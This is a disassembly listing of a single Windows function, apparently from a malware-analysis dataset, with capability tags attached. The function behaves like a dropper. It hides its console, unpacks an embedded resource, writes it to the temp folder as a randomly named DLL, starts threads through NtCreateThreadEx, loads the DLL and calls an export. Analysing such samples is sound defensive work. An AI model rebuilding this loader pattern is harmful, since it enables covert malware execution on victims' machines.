Function at 0x140001290
Capabilities:
Extract resource via kernel32 functions
Get common file path
Terminate process

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x310
mov rax, qword [0x140008040]
xor rax, rsp
mov qword [rsp + 0x300], rax
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov rcx, rax
xor edx, edx
call qword [sym.imp.USER32.dll_ShowWindow]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov edx, 0x65
lea r8d, [rdx - 0x5b]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_FindResourceA]
mov rbx, rax
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SizeofResource]
mov edi, eax
mov rdx, rbx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LoadResource]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_LockResource]
mov rbx, rax
mov ecx, edi
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov rsi, rax
mov r8d, edi
mov rdx, rbx
mov rcx, rax
call sub.VCRUNTIME140.dll_memcpy
lea rdx, [rsp + 0x1f0]
mov ecx, 0x104
call qword [sym.imp.KERNEL32.dll_GetTempPathA]
lea rdx, str.vhhs8xyxo757xlhu9lwzqnu392eslwey.dll
lea rcx, [rsp + 0xc0]
call fcn.140002890
nop
lea rcx, [rsp + 0xc0]
call fcn.140002820
mov rdx, rax
lea rcx, [rsp + 0x80]
call fcn.140002890
mov rbx, rax
lea rdx, [rsp + 0x1f0]
lea rcx, [rsp + 0x60]
call fcn.140002890
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rsp + 0xa0]
call fcn.140002c30
nop
lea rcx, [rsp + 0x60]
call fcn.140002830
nop
lea rcx, [rsp + 0x80]
call fcn.140002830
mov r9d, edi
mov r8, rsi
mov edx, 0x30
call fcn.140001600
lea rcx, [rsp + 0xe0]
call fcn.1400015f0
lea rcx, [rsp + 0xa0]
call fcn.140002820
mov rdx, rax
lea rcx, [rsp + 0xe0]
call fcn.140002630
nop
mov r8d, edi
mov rdx, rsi
lea rcx, [rsp + 0xe0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::write_char_const____ptr64__long_long___int64_____ptr64]
lea rcx, [rsp + 0xe0]
call fcn.1400025f0
lea rcx, str.ntdll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov rcx, rax
lea rdx, str.NtCreateThreadEx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rbx, rax
xor edi, edi
mov qword [rsp + 0x50], rdi
mov qword [rsp + 0x48], rdi
mov qword [rsp + 0x40], rdi
mov qword [rsp + 0x38], rdi
mov dword [rsp + 0x30], 0x40
mov qword [rsp + 0x28], rdi
lea rax, [0x140001630]
mov qword [rsp + 0x20], rax
lea r9, [rdi - 1]
xor r8d, r8d
mov edx, 0x2000000
lea rcx, [0x140008948]
call rbx
mov qword [rsp + 0x50], rdi
mov qword [rsp + 0x48], rdi
mov qword [rsp + 0x40], rdi
mov qword [rsp + 0x38], rdi
mov dword [rsp + 0x30], 0x40
mov qword [rsp + 0x28], rdi
lea rax, [0x140001830]
mov qword [rsp + 0x20], rax
lea r9, [rdi - 1]
xor r8d, r8d
mov edx, 0x2000000
lea rcx, [0x140008958]
call rbx
mov qword [rsp + 0x50], rdi
mov qword [rsp + 0x48], rdi
mov qword [rsp + 0x40], rdi
mov qword [rsp + 0x38], rdi
mov dword [rsp + 0x30], 0x40
mov qword [rsp + 0x28], rdi
lea rax, [0x1400018e0]
mov qword [rsp + 0x20], rax
lea r9, [rdi - 1]
xor r8d, r8d
mov edx, 0x2000000
lea rcx, [0x140008950]
call rbx
lea edx, [rdi + 2]
xor ecx, ecx
call qword [sym.imp.ole32.dll_CoInitializeEx]
lea rcx, [rsp + 0xa0]
call fcn.140002820
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea rdx, str.GUWOPMARSKODAKGUWOPMARSKODAKGUWOPMARSKODAKGUWOPMARSKODAK
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]